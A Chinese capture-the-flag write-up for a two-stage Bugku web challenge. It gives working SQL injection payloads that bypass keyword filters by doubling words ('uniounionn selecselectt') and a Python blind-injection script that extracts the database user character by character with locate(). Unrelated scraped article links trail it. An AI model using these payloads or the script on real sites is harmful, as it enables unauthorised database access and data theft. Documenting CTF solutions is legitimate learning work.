Bugku的web题目(多次)的解题

这道题目我弄了好久,最后问了朋友,然后在朋友的帮助下,将flag找到了
这里写一下解题方法,记录一下
一进到这道题,看到了php?id=1,就很熟悉,很有可能是一道sql注入的题目,肯定是要试一下最简单的测试,(哪怕知道不可能是什么都没有过滤)

单引号出错

多加一个%23,发现不出错了

加上’ and 1=1%23
又出错了,可能是过滤了,但是不知道过滤了什么
这里有一个很好的方法知道过滤的是什么
使用异或注入

在id=1后面输入 '(0)'
发现不出错,那就将0换成1=1
如果出错,那就是成功了

通过验证是可以的
也就是说,如果括号里面的判断是假的,那么页面就会显示正确
那么同理,如果我修改里面的内容为length(‘union’)!=0
如果页面显示正确,那就证明length(‘union’)是等于0的,也就是union被过滤了

发现确实是这样,那就可以在这里进行判断,看看到底那些函数被过滤了
最后发现union,select,or,and被过滤了
limit,from没有被过滤
尝试绕过过滤,既然union这些都是被过滤掉了
那构造ununionion 一旦union被过滤,删除了,那剩下来的还是union,这样就可以起到作用了

经过测试,用那个方法,确实可以
最终的payload为
http://120.24.86.145:9004/1ndex.php?id=1' anandd 1=2 uniounionn selecselectt 1,2%23
还是一个回显的

然后测试,找到了一个表为flag1,列名为flag1

出来一串不知道是什么东西的数据
然后就继续查找,因为提示说有2个flag,那就是还有一个
最后在address这个列里面找到一个网址

点击进去发现
这道题还没有做完,前面的只是为了找这个链接……

这里还是一个考注入,那就常规测试一下,加上单引号

出现报错,还是最常见的报错,那就是要%23注析掉了

然后继续测试其他的

1=2出错

1=1正常

Order by 2也正常
一切都好顺利

' union select 1,2%23
出现了过滤,把union过滤了
用之前的方法绕过

' uniunionon select 1,2%23
发现把select也吃掉了
那就测试一下看看还有那些函数被过滤了
直接在id后面输入函数就可以知道,因为有回显我们输入的数据

id=1 union select limit from and or where if sleep substr ascii
发现 union sleep substr被过滤了
那就是不能回显,substr也不能用了
我这里用了一个不常用的函数locate()
直接判断查出来的数据里面有那些字符,然后将它们按顺序排序
def user():
flag =''
for j in xrange(1, 100):
temp = '!@$%^&*()_+=-|}{POIU YTREWQASDFGHJKL:?><MNBVCXZqwertyuiop[];lkjhgfdsazxcvbnm,./1234567890`~'
key = 0
for i in temp:
url = "http://120.24.86.145:9004/Once_More.php?id=1'and (select locate(binary'"+str(i)+"',(select user()),"+str(j)+"))="+str(j)+"%23"
r1 = rs.get(url)
# print url
if "Hello" in r1.text:
print str(i)+" -----"+str(j)
flag += str(i)
key = 1
if key ==0:
print "[*] : " + flag
break

完整代码在我的GitHub里面有
Bugku的web题目(多次)的解题的更多相关文章
- Bugku流量分析题目总结
flag被盗 题目链接:https://ctf.bugku.com/files/e0b57d15b3f8e6190e72987177da1ffd/key.pcapng 解题思路: 这个题目是比较基本的 ...
- 【九度OJ】题目1201:二叉排序树 解题报告
[九度OJ]题目1201:二叉排序树 解题报告 标签(空格分隔): 九度OJ http://ac.jobdu.com/problem.php?pid=1201 题目描述: 输入一系列整数,建立二叉排序 ...
- 【九度OJ】题目1113:二叉树 解题报告
[九度OJ]题目1113:二叉树 解题报告 标签(空格分隔): 九度OJ http://ac.jobdu.com/problem.php?pid=1113 题目描述: 如上所示,由正整数1,2,3-- ...
- 【九度OJ】题目1433:FatMouse 解题报告
[九度OJ]题目1433:FatMouse 解题报告 标签(空格分隔): 九度OJ http://ac.jobdu.com/problem.php?pid=1433 题目描述: FatMouse pr ...
- 【九度OJ】题目1173:查找 解题报告
[九度OJ]题目1173:查找 解题报告 标签(空格分隔): 九度OJ [LeetCode] http://ac.jobdu.com/problem.php?pid=1173 题目描述: 输入数组长度 ...
- 【九度OJ】题目1431:Sort 解题报告
[九度OJ]题目1431:Sort 解题报告 标签(空格分隔): 九度OJ [LeetCode] http://ac.jobdu.com/problem.php?pid=1431 题目描述: 给你n个 ...
- 【九度OJ】题目1202:排序 解题报告
[九度OJ]题目1202:排序 解题报告 标签(空格分隔): 九度OJ [LeetCode] http://ac.jobdu.com/problem.php?pid=1202 题目描述: 对输入的n个 ...
- 【九度OJ】题目1163:素数 解题报告
[九度OJ]题目1163:素数 解题报告 标签(空格分隔): 九度OJ 原题地址:http://ac.jobdu.com/problem.php?pid=1163 题目描述: 输入一个整数n(2< ...
- 【九度OJ】题目1438:最小公倍数 解题报告
[九度OJ]题目1438:最小公倍数 解题报告 标签(空格分隔): 九度OJ 原题地址:http://ac.jobdu.com/problem.php?pid=1438 题目描述: 给定两个正整数,计 ...
随机推荐
- 一个shell脚本给客户使用服务器生成一个序列号
#!/bin/bash interface=`ls /sys/class/net|grep en|awk 'NR==1{print}'` if [ ! -e /etc/adserver/.seq.in ...
- 使用域账号统一管理cisco网络设备
1.思科设备和微软系统整合的背景: 公司内部有一定数量的客户端,为了实现统一化,在管理内部部署了域架构,这样可以通过组策略对客户端进行批量化管理,提高了管理的效率. 同样公司内部有一定数量的网络设备( ...
- Spring-mvc 静态资源不拦截
在Spring-mvc.xml文件中加入这个就可以了 <!-- 用于对静态文件进行解析 --> <mvc:annotation-driven /> <mvc:resour ...
- mac中配置jdk环境
- Yii2整合AdminLTE后台主题
首先你要确保你已经安装好了Yii2 advanced高级模板,并且跑的通. 安装AdminLTE其实没有网上说的那么简单,网上千篇一律的推荐Composer安装,虽然Composer很方便,但是在中国 ...
- Sphinx下载、安装、配置、Hello World、文档阅读
sphinx下载.安装.配置.Hello World.查看文档
- java并发 - 自底向上的原理分析
[TOC] 事先声明,我只是java并发的新手,这篇文章也只是我阅读<java并发编程的艺术>一书(内容主要涉及前3章)的一些总结和感悟.希望大家能多多讨论,对于错误的地方还请指出. 0. ...
- CodeForces - 796D Police Stations bfs
思路:删除尽量多的边使得所有点都能在限制距离之内到达一个警局,删除边会形成多棵子树,最多只能k棵.其实就是以每个警局为根结点,把整棵树划分为以警局为根结点的k棵树,说明要删除的边的数量就是k-1条,即 ...
- hdu 1207 四柱汉诺塔
递推,汉诺塔I的变形. 这题真心没想到正确解法,越想越迷糊.这题看了别人题解过得,以后还是自己多想想,脚步太快并非好事. 贴上分析: 分析:设F[n]为所求的最小步数,显然,当n=1时,F[n]= ...
- Luogu P2888 [USACO07NOV]牛栏Cow Hurdles
题目描述 Farmer John wants the cows to prepare for the county jumping competition, so Bessie and the gan ...